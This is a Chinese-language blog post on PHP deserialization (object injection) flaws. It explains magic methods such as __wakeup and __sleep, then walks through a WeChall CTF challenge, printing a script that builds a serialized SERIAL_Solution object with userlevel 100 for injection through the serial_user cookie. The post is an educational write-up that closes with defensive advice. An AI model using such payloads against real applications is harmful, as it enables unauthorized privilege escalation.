DevOps PHP中反序列化引起的安全问题

fromtm · November 10, 2019 · 1 hits

       和其他面向对象的语言一样,php 中也可以通过类的方式来封装一些变量和方法,通过类的定义可以使我们的程序变得更加简洁和方便。而序列化的一大主要用途就是序列化一个类对象,让它变成一个字符串形式,使得数据方便传输和储存,举个例子。

       可以看到,我们可以通过 serialize 函数讲一个类对象序列化成一个字符串,然后通过 unserialize 函数讲这个字符串再还原成一个类。这是一个让数据更加方便传输和储存的好方法,但它也可能出现一些不安全的问题。

php 中关于类的魔法函数

       php 的类中有很多魔法函数,他们都以两个下划线开头,例如上面的construct(),还有比如wakeup(),destruct,set(),get() 等。这些魔法函数会在特定的情况下呗自动调用,完成它们相应的使命。比如说construct() 函数就是在类对象生成时自动被调用,desstruct() 函数就是在类对象销毁时自动被调用。而与序列化相关的两个函数就是sleep() 和wakeup() 函数。我们来看看这两个函数可以做什么。
       在上面那幅图中,如果你仔细看看序列化后的内容,你会发现你还是可以看出 a,b 变量的值的,那如果我希望我序列化后的字符串可以隐藏我不想让别人看到的东西呢。此时,
sleep() 函数就可以发挥它的作用,这个函数在执行 serialize() 时会被自动调用,它需要返回一个你想要隐藏或传递的变量的数组。而与之对应的则是wakeup() 函数,它在 unserialize() 执行时被调用,它可以再给类中的变量重新赋值或者沿用以前的值。

       可以看到,在执行 serialize() 时,自动调用了
sleep() 函数,这个函数需要返回一个数组,经过sleep() 之后序列化的字符串中便不会再泄漏类中变量的内容和名称了,而在 unserialize() 时,又通过wakeup() 给三个变量重新赋值。

序列化所带来的问题

php 中的对象注入

       通过上面可以看到序列化可以把类对象变成一个字符串,之后再经反序列化将这个类对象还原,但是,序列化的字符串一旦由用户可控,那么就会产生一定的安全问题,我们可以看一个例子。

       上面这段代码通过获取 id 的值,进行反序列化。这事正常的情况,但 id 参数是我们可控的,所以当我们将 id 参数赋值成一个经序列化后的 test 类的字符串的话,经过反序列化时,就会生成一个 test 类的对象。

       试想一下,如果 test 类中会执行 eval 函数的话,那么就形成了命令执行的漏洞。如下:

       而这样的漏洞在真实情况下也是出现过的freebuf 上的一篇文章介绍了这个漏洞
       这个问题的解决根本还是控制参数,php 手册中也有说过 “不要把用户生成的内容传入到 unserialize() 中”。

用 wechall 上的一道题来深入理解一下

       就是因为看来了 wechall 上的这道题目才去学习了一下 php 的对象注入,,这是一个纯代码审计的问题。给出了好几个源码。

先随便登录一下试试

提示 userlevel 为 0,gg.
其中 code.php 的部分源码如下:

if (isset($_POST['login']))
{
        $form->execute(Common::getPostString('username'));
}
elseif (isset($_POST['logout']))
{
        $form_logout->execute();
}

中间代码省略,太多了😂....

if (false !== ($user = unserialize(Common::getCookie('serial_user', ''))))
{
        
        echo GWF_HTML::message('Serial Challenger', $chall->lang('msg_wb', array(htmlspecialchars($user->getUsername()), $user->getPassword(), $user->getUserlevel())));
                # Show logout form
        echo $form_logout->serial_formz()->templateY($chall->lang('ft_logout'));
}

       可以看到,我们如果 post 数据中有 login,则会调用 form 对象(另一个文件里定义的一个登录类)中的方法,在这个方法中 userlevel 变量默认设置成了 0,所以 gg。所以首先我们 post 的变量中不能有 login 或者 logout 参数,然后我们再继续往下看发现在最后的 if 判断中从 cookie 中获取了 serial_user 变量,而在这时出现了突破口,unserialize() 函数,我们进入 insecure.inc.php 看看


/**
 * Ultra Safe Auto Include
 * @author Z
 * @param string $classname
 */
function ($classname)
{
        chdir('challenge/are_you_serial');
        require_once './'.str_replace('.', '', $classname).'.php';
        chdir('../../');
}

/**
 * Registers auto include
 */
spl_autoload_register('my_autoloader');
?>

       在这里出现了一个很有意思的函数 spl_autoload_register(),去搜了一下相关介绍,得知这个函数的作用是将函数注册到 spl_autoload 中,如果该函数没有被激活,则激活它。那么在这里,我们可以传入一个序列化的字符串,反序列化后,如果我们没有定义这样一个类,那么它将会被传到这里的 my_autoload() 函数中执行,所以我们需要传入一个类名为 SERIAL_Solution 的类,这样我们就可以访问到 SERIAL_Solution.php 了。


final class SERIAL_Solution
{
        public $username = '';
        public $password = '';        
        public $userlevel = 0;
}
$a = new SERIAL_Solution();
$a->username='serial';
$a->password='testtest';
$a->userlevel=100;

echo serialize($a);
?>

       输出为:O:15:” SERIAL_Solution”:3:{s:8:” username”;s:6:” serial”;s:8:” password”;s:8:” testtest”;s:9:” userlevel”;i:100;}
       然后我们需要抓包将 cookie 中的 serial_user 变量赋值成上面的字符串,然后再将 login 和 logout 去掉即可。

总结

       和大多数漏洞一样,反序列化的问题也是用户参数的控制问题引起的,所以好的预防措施就是不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中去。

No Reply at the moment.
You need to Sign in before reply, if you don't have an account, please Sign up first.